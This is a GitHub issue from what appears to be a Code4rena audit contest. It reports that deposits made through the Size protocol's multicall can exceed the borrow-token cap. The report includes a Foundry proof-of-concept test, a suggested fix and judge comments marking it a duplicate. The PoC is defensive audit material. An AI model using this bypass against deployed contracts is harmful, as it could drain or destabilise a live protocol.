Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Deposits of underlying borrow token via multicall can go above the cap #332

Closed
howlbot-integration bot opened this issue Jul 8, 2024 · 3 comments
Closed
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-238 🤖_11_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality

Comments

@howlbot-integration
Copy link

Lines of code

https://github.com/code-423n4/2024-06-size/blob/main/src/libraries/Multicall.sol#L26-L44

Vulnerability details

Impact

The identified bug allows users to bypass the underlying borrow token (USDC) deposit cap when depositing via multicall. This can lead to an uncontrolled inflow of tokens into the protocol.

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity 0.8.23;

import {BaseTest} from "@test/BaseTest.sol";

import {IERC20Metadata} from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";

import {Errors} from "@src/libraries/Errors.sol";
import {DepositParams} from "@src/libraries/actions/Deposit.sol";

contract DepositMulticallTest is BaseTest {
    function test_Multicall_deposit_via_multicall_bypasses_cap() public {
        vm.startPrank(alice);

        uint256 amount = size.riskConfig().borrowATokenCap * 100; // 100x the cap
        address token = address(usdc);

        deal(token, alice, amount);
        IERC20Metadata(token).approve(address(size), amount);

        assertEq(size.getUserView(alice).borrowATokenBalance, 0);

        bytes[] memory data = new bytes[](1);
        data[0] = abi.encodeCall(size.deposit, (DepositParams({token: token, amount: amount, to: alice})));
        bytes[] memory results = size.multicall(data);

        assertEq(results.length, 1);
        assertEq(results[0], bytes(""));

        assertEq(size.getUserView(alice).borrowATokenBalance, amount);
    }

    function test_Deposit_deposit_does_not_bypass_cap() public {
        vm.startPrank(alice);

        uint256 cap = size.riskConfig().borrowATokenCap;

        uint256 amount = cap * 100; // 100x the cap
        address token = address(usdc);

        deal(token, alice, amount);
        IERC20Metadata(token).approve(address(size), amount);

        assertEq(size.getUserView(alice).borrowATokenBalance, 0);

        vm.expectRevert(abi.encodeWithSelector(Errors.BORROW_ATOKEN_CAP_EXCEEDED.selector, cap, amount));
        size.deposit(DepositParams({token: token, amount: amount, to: alice}));
    }
}

Tools Used

Manual Review, Foundry

Recommended Mitigation Steps

Consider changing the following lines in Multicall.sol#L26-45.

    function multicall(State storage state, bytes[] calldata data) internal returns (bytes[] memory results) {
        state.data.isMulticall = true;

-       uint256 borrowATokenSupplyBefore = state.data.borrowAToken.balanceOf(address(this));
+       uint256 borrowATokenSupplyBefore = state.data.borrowAToken.totalSupply();
        uint256 debtTokenSupplyBefore = state.data.debtToken.totalSupply();

        results = new bytes[](data.length);
        for (uint256 i = 0; i < data.length; i++) {
            results[i] = Address.functionDelegateCall(address(this), data[i]);
        }

-       uint256 borrowATokenSupplyAfter = state.data.borrowAToken.balanceOf(address(this));
+       uint256 borrowATokenSupplyAfter = state.data.borrowAToken.totalSupply();
        uint256 debtTokenSupplyAfter = state.data.debtToken.totalSupply();

        state.validateBorrowATokenIncreaseLteDebtTokenDecrease(
            borrowATokenSupplyBefore, debtTokenSupplyBefore, borrowATokenSupplyAfter, debtTokenSupplyAfter
        );

        state.data.isMulticall = false;
    }

Assessed type

Error

@howlbot-integration howlbot-integration bot added 2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value 🤖_11_group AI based duplicate group recommendation bug Something isn't working duplicate-13 sufficient quality report This report is of sufficient quality labels Jul 8, 2024
howlbot-integration bot added a commit that referenced this issue Jul 8, 2024
@c4-judge
Copy link
Contributor

hansfriese marked the issue as duplicate of #144

@c4-judge
Copy link
Contributor

hansfriese marked the issue as satisfactory

@c4-judge c4-judge added the satisfactory satisfies C4 submission criteria; eligible for awards label Jul 11, 2024
@c4-judge
Copy link
Contributor

hansfriese marked the issue as duplicate of #238

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
2 (Med Risk) Assets not at direct risk, but function/availability of the protocol could be impacted or leak value bug Something isn't working duplicate-238 🤖_11_group AI based duplicate group recommendation satisfactory satisfies C4 submission criteria; eligible for awards sufficient quality report This report is of sufficient quality
Projects
None yet
Development

No branches or pull requests

1 participant